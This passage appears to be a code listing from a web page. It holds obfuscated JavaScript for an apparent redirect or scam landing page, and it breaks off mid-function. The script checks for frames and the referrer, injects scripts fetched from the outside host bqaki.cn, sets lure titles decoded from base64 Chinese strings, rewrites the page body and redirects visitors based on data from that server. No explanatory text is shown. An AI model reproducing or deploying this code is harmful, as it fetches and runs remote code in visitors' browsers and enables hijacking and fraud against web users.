class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> tONm1, hcRdr2;</span><br><span class="line"><span class="keyword">var</span> mLTeLPR3;</span><br><span class="line">(<span class="variable language_">window</span>[<span class="string">&#x27;frames&#x27;</span>][<span class="string">&#x27;length&#x27;</span>] != parent[<span class="string">&#x27;frames&#x27;</span>][<span class="string">&#x27;length&#x27;</span>]) ? mLTeLPR3 = <span class="number">0</span> : mLTeLPR3 = <span class="number">1</span>;</span><br><span class="line">tONm1 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;documentElement&#x27;</span>][<span class="string">&#x27;clientWidth&#x27;</span>];</span><br><span class="line">hcRdr2 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;documentElement&#x27;</span>][<span class="string">&#x27;clientHeight&#x27;</span>];</span><br><span class="line"><span class="keyword">var</span> <span class="title class_">CmJw4</span> = <span class="string">&quot;http://t.cn/Roji0oH&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> <span class="title class_">MsqLT5</span> = <span class="string">&quot;http://mp.weixin.qq.com/mp/ad_biz_info&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> aWTaqIGXG6 = <span class="string">&quot;https://m.jd.com/&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> sZQgb7 = <span class="string">&quot;//c.bqaki.cn/&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> <span class="title class_">LHpJ</span>8 = <span class="string">&quot;//api.bqaki.cn/&quot;</span>;</span><br><span class="line"><span class="variable language_">window</span>[<span class="string">&#x27;iOSLink&#x27;</span>] = <span class="string">&quot;##&quot;</span>;</span><br><span class="line"><span class="variable language_">window</span>[<span class="string">&#x27;androidLink&#x27;</span>] = <span class="string">&quot;##&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> <span class="title class_">Qln9</span> = &#123;&#125;;</span><br><span class="line"><span class="keyword">var</span> hzgG10 = <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">var</span> pv_WPFt11 = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">var</span> kRS12 = <span class="literal">false</span>;</span><br><span class="line"><span class="keyword">var</span> $K13 = <span class="keyword">new</span> <span class="title class_">Base64</span>();</span><br><span class="line"><span class="keyword">var</span> jWZiCZ14 = [<span class="string">&quot;6YCf54K577yB&quot;</span>, <span class="string">&quot;5Luk5Lq65byA5b+D55qE5pe25Yi75p2l5LqG&quot;</span>, <span class="string">&quot;6YCf5bqm77yB5bey5pyJM+S9jeWlveWPi+mihuWPlg==&quot;</span>, <span class="string">&quot;5Lq65Lq65YWN6LS56aKG&quot;</span>, <span class="string">&quot;5Zyf6LGq77yM5bCx5piv5aaC5q2k5Lu75oCn&quot;</span>, <span class="string">&quot;6KeB6ICF5pyJ5Lu977yM5p2l5ZCn44CC&quot;</span>, <span class="string">&quot;55yL5LqG5bCx5b2S5L2g5LqG&quot;</span>, <span class="string">&quot;54K55byA77yM5L2g5bCx5pyJ5Lu9&quot;</span>, <span class="string">&quot;5Yir6K+06K+d77yM54K55oiR77yB&quot;</span>, <span class="string">&quot;55yL77yM5pS26I635pe25Yi75p2l5LqG44CC&quot;</span>, <span class="string">&quot;5b+r5rKh5LqG77yB6YCf55yL77yB&quot;</span>, <span class="string">&quot;5bCx6KaB5byA5aeL5LqG77yM5b+r77yB&quot;</span>, <span class="string">&quot;6L+Z5LmI5aW955qE5rS75Yqo77yM5L2g56uf54S26L+Y5LiN55+l6YGT77yB&quot;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getCookie</span>(<span class="params">BNcRBu15</span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> s16, $_sMiZrrF17 = <span class="keyword">new</span> <span class="variable language_">window</span>[<span class="string">&quot;RegExp&quot;</span>](<span class="string">&#x27;(^| )&#x27;</span> + <span class="title class_">BNcRBu</span>15 + <span class="string">&#x27;=([^;]*)(;|$)&#x27;</span>);</span><br><span class="line">	<span class="keyword">if</span> (s16 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;cookie&#x27;</span>][<span class="string">&#x27;match&#x27;</span>]($_sMiZrrF17)) &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="variable language_">window</span>[<span class="string">&quot;unescape&quot;</span>](s16[<span class="number">2</span>]);</span><br><span class="line">	&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">setCookie</span>(<span class="params">wsobYXtny18, XLzf19</span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> Y$GYLzQ20 = <span class="number">30</span>;</span><br><span class="line">	<span class="keyword">var</span> vutL21 = <span class="keyword">new</span> <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>]();</span><br><span class="line">	vutL21[<span class="string">&#x27;setTime&#x27;</span>](vutL21[<span class="string">&#x27;getTime&#x27;</span>]() + Y$GYLzQ20 * <span class="number">24</span> * <span class="number">60</span> * <span class="number">60</span> * <span class="number">1000</span>);</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;cookie&#x27;</span>] = wsobYXtny18 + <span class="string">&#x27;=&#x27;</span> + <span class="variable language_">window</span>[<span class="string">&quot;escape&quot;</span>](<span class="title class_">XLzf19</span>) + <span class="string">&#x27;;expires=&#x27;</span> + vutL21[<span class="string">&#x27;toGMTString&#x27;</span>]();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">initReport</span>();</span><br><span class="line"><span class="title function_">initShare</span>();</span><br><span class="line"><span class="keyword">var</span> <span class="title class_">DzaV22</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">isEjfiemw</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]() &gt; <span class="number">100</span>) &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">for</span> (<span class="keyword">var</span> <span class="title class_">FheiFh23</span> = <span class="number">0</span>; <span class="title class_">FheiFh23</span> &lt; <span class="title class_">DzaV22</span>[<span class="string">&#x27;length&#x27;</span>]; <span class="title class_">FheiFh23</span>++) &#123;</span><br><span class="line">		<span class="keyword">if</span> (<span class="title class_">DzaV22</span>[<span class="title class_">FheiFh23</span>][<span class="string">&#x27;indexOf&#x27;</span>](top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;host&#x27;</span>]) != -<span class="number">1</span>) &#123;</span><br><span class="line">			<span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">isAevkhi3</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]() &gt; <span class="number">100</span>) &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">if</span> (<span class="string">&quot;&quot;</span> == <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;referrer&#x27;</span>]) &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">JNILnDJf</span>24 = <span class="literal">false</span>;</span><br><span class="line">	<span class="keyword">for</span> (<span class="keyword">var</span> tzPhUE25 = <span class="number">0</span>; tzPhUE25 &lt; <span class="title class_">DzaV22</span>[<span class="string">&#x27;length&#x27;</span>]; tzPhUE25++) &#123;</span><br><span class="line">		<span class="keyword">if</span> (<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;referrer&#x27;</span>][<span class="string">&#x27;indexOf&#x27;</span>](<span class="title class_">DzaV22</span>[tzPhUE25][<span class="string">&#x27;replace&#x27;</span>](<span class="string">&#x27;https://&#x27;</span>, <span class="string">&#x27;&#x27;</span>)[<span class="string">&#x27;replace&#x27;</span>](<span class="string">&#x27;http://&#x27;</span>, <span class="string">&#x27;&#x27;</span>)[<span class="string">&#x27;split&#x27;</span>](<span class="string">&quot;/&quot;</span>)[<span class="number">0</span>]) != -<span class="number">1</span>) &#123;</span><br><span class="line">			<span class="title class_">JNILnDJf</span>24 = <span class="literal">false</span>;</span><br><span class="line">			<span class="keyword">break</span>;</span><br><span class="line">		&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">			<span class="title class_">JNILnDJf</span>24 = <span class="literal">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> <span class="title class_">JNILnDJf</span>24;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">loadAPIJS</span>(<span class="params">kQYCu26</span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="variable constant_">OXE</span>$Uoby27 = <span class="title class_">LHpJ</span>8 + kQYCu26 + <span class="string">&quot;.js?d=&quot;</span> + (<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]() * <span class="number">100</span>);</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">PDjLtZYv</span>28, eoQlSjh29;</span><br><span class="line">	<span class="title class_">PDjLtZYv</span>28 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;createElement&#x27;</span>](<span class="string">&quot;script&quot;</span>);</span><br><span class="line">	<span class="title class_">PDjLtZYv</span>28[<span class="string">&#x27;src&#x27;</span>] = <span class="variable constant_">OXE</span>$Uoby27;</span><br><span class="line">	eoQlSjh29 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementsByTagName&#x27;</span>](<span class="string">&quot;script&quot;</span>)[<span class="number">0</span>];</span><br><span class="line">	eoQlSjh29[<span class="string">&#x27;parentNode&#x27;</span>][<span class="string">&#x27;insertBefore&#x27;</span>](<span class="title class_">PDjLtZYv</span>28, eoQlSjh29);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">loadCommonJS</span>(<span class="params">nho30</span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">LzsTtLX31</span> = sZQgb7 + nho30 + <span class="string">&quot;.js?d=&quot;</span> + (<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]() * <span class="number">100</span>);</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">BlquXz</span>$ny32, kp33;</span><br><span class="line">	<span class="title class_">BlquXz</span>$ny32 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;createElement&#x27;</span>](<span class="string">&quot;script&quot;</span>);</span><br><span class="line">	<span class="title class_">BlquXz</span>$ny32[<span class="string">&#x27;src&#x27;</span>] = <span class="title class_">LzsTtLX31</span>;</span><br><span class="line">	kp33 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementsByTagName&#x27;</span>](<span class="string">&quot;script&quot;</span>)[<span class="number">0</span>];</span><br><span class="line">	kp33[<span class="string">&#x27;parentNode&#x27;</span>][<span class="string">&#x27;insertBefore&#x27;</span>](<span class="title class_">BlquXz</span>$ny32, kp33);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">show</span>(<span class="params">I34, T35, EmZ36</span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> _CZHjrT37 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;sdk_dialog&quot;</span>),</span><br><span class="line">		O_mO38 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;sdk_dialog_hd&quot;</span>),</span><br><span class="line">		<span class="variable constant_">W39</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;sdk_dialog_bd&quot;</span>),</span><br><span class="line">		dVGKwpWQ$<span class="number">40</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;sdk_dialog_ft&quot;</span>);</span><br><span class="line">	_CZHjrT37[<span class="string">&#x27;style&#x27;</span>][<span class="string">&#x27;display&#x27;</span>] = <span class="string">&quot;block&quot;</span>, O_mO38[<span class="string">&#x27;innerHTML&#x27;</span>] = <span class="variable constant_">I34</span>, <span class="variable constant_">W39</span>[<span class="string">&#x27;innerHTML&#x27;</span>] = <span class="variable constant_">T35</span>, dVGKwpWQ$<span class="number">40</span>[<span class="string">&#x27;innerHTML&#x27;</span>] = <span class="title class_">EmZ36</span>, dVGKwpWQ$<span class="number">40</span>[<span class="string">&#x27;removeEventListener&#x27;</span>](<span class="string">&quot;click&quot;</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;&#125;, <span class="literal">false</span>), dVGKwpWQ$<span class="number">40</span>[<span class="string">&#x27;addEventListener&#x27;</span>](<span class="string">&quot;click&quot;</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">		_CZHjrT37[<span class="string">&#x27;style&#x27;</span>][<span class="string">&#x27;display&#x27;</span>] = <span class="string">&quot;none&quot;</span></span><br><span class="line">	&#125;, <span class="literal">false</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">loadAPIJS</span>(<span class="string">&#x27;api&#x27;</span>);</span><br><span class="line"><span class="title function_">loadCommonJS</span>(<span class="string">&#x27;clipboard&#x27;</span>);</span><br><span class="line"><span class="variable language_">window</span>[<span class="string">&#x27;jsCallback&#x27;</span>] = <span class="keyword">function</span>(<span class="params">name, hO41</span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (name == <span class="string">&#x27;ejfiemw&#x27;</span>) &#123;</span><br><span class="line">		<span class="title class_">DzaV22</span> = hO41[<span class="string">&#x27;data&#x27;</span>];</span><br><span class="line">	&#125; <span class="keyword">else</span> <span class="keyword">if</span> (name == <span class="string">&#x27;cejsje&#x27;</span>) &#123;</span><br><span class="line">		<span class="variable language_">window</span>[<span class="string">&#x27;adLink&#x27;</span>] = hO41[<span class="string">&#x27;adLink&#x27;</span>];</span><br><span class="line">	&#125; <span class="keyword">else</span> <span class="keyword">if</span> (name = <span class="string">&#x27;eugjrrh&#x27;</span>) &#123;</span><br><span class="line">		<span class="keyword">if</span> (<span class="title function_">isEjfiemw</span>()) &#123;</span><br><span class="line">			<span class="keyword">if</span> (<span class="title function_">isAevkhi3</span>()) &#123;</span><br><span class="line">				<span class="keyword">if</span> (<span class="string">&quot;1&quot;</span> != <span class="title function_">getCookie</span>(<span class="string">&quot;isClick&quot;</span>)) &#123;</span><br><span class="line">					<span class="title function_">modifyLocationHref</span>(<span class="title class_">DzaV22</span>);</span><br><span class="line">				&#125;</span><br><span class="line">			&#125;</span><br><span class="line">		&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">			<span class="title function_">modifyLocationHref</span>(<span class="title class_">DzaV22</span>);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addTitle</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">Hsn</span>$Nd42 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;host&#x27;</span>][<span class="string">&#x27;substr&#x27;</span>](<span class="number">0</span>, <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;host&#x27;</span>][<span class="string">&#x27;indexOf&#x27;</span>](<span class="string">&#x27;.&#x27;</span>));</span><br><span class="line">	<span class="keyword">for</span> (<span class="keyword">var</span> _y43 = <span class="number">0</span>, ppkWMwv44 = <span class="number">0</span>; ppkWMwv44 &lt; <span class="title class_">Hsn</span>$Nd42[<span class="string">&#x27;length&#x27;</span>]; ppkWMwv44++) &#123;</span><br><span class="line">		_y43 += <span class="title class_">Hsn</span>$Nd42[<span class="string">&#x27;charAt&#x27;</span>](ppkWMwv44)[<span class="string">&#x27;charCodeAt&#x27;</span>]();</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">var</span> pjbjrKl45 = _y43 % jWZiCZ14[<span class="string">&#x27;length&#x27;</span>];</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">PfT46</span> = $K13[<span class="string">&#x27;decode&#x27;</span>](jWZiCZ14[pjbjrKl45]);</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;title&#x27;</span>] = <span class="title class_">PfT46</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> <span class="variable constant_">O47</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addBody</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">LPQck48</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;createElement&#x27;</span>](<span class="string">&#x27;link&#x27;</span>);</span><br><span class="line">	<span class="title class_">LPQck48</span>[<span class="string">&#x27;href&#x27;</span>] = <span class="string">&#x27;//c.bqaki.cn/css.css&#x27;</span>;</span><br><span class="line">	<span class="title class_">LPQck48</span>[<span class="string">&#x27;rel&#x27;</span>] = <span class="string">&#x27;stylesheet&#x27;</span>;</span><br><span class="line">	<span class="title class_">LPQck48</span>[<span class="string">&#x27;type&#x27;</span>] = <span class="string">&#x27;text/css&#x27;</span>;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementsByTagName&#x27;</span>](<span class="string">&#x27;HEAD&#x27;</span>)[<span class="string">&#x27;item&#x27;</span>](<span class="number">0</span>)[<span class="string">&#x27;appendChild&#x27;</span>](<span class="title class_">LPQck48</span>);</span><br><span class="line">	<span class="keyword">var</span> <span class="variable constant_">F49</span> = <span class="string">&#x27;&lt;img id=&quot;cross-domain-img&quot; usemap=&quot;#img-map&quot; src=&quot;#&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;map id=&quot;img-map&quot; name=&quot;img-map&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;area shape=&quot;rect&quot; coords=&quot;0,0,0,0&quot; href =&quot;javascript:;&quot; alt=&quot;rd&quot; /&gt;&#x27;</span> + <span class="string">&#x27;&lt;/map&gt;&#x27;</span> + <span class="string">&#x27;&lt;div id=&quot;report-btn&quot;&gt;&#x27;</span> + <span class="built_in">decodeURI</span>(<span class="string">&quot;%E6%8A%95%E8%AF%89&quot;</span>) + <span class="string">&#x27;&lt;/div&gt;&#x27;</span> + <span class="string">&#x27;&lt;audio id=&quot;bg-music&quot; controls=&quot;controls&quot; preload=&quot;auto&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;source src=&quot;https://file.ih5.cn/v3/files/2171738/20171012/2b565bec.mp3&quot; type=&quot;audio/mpeg&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;/audio&gt;&#x27;</span>;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;body&#x27;</span>][<span class="string">&#x27;innerHTML&#x27;</span>] = <span class="variable constant_">F49</span>;</span><br><span class="line">	<span class="variable constant_">O47</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;body&#x27;</span>];</span><br><span class="line">	<span class="title function_">setImgWH</span>();</span><br><span class="line">	<span class="title function_">clickImg</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">setImgWH</span>(<span class="params"></span>) 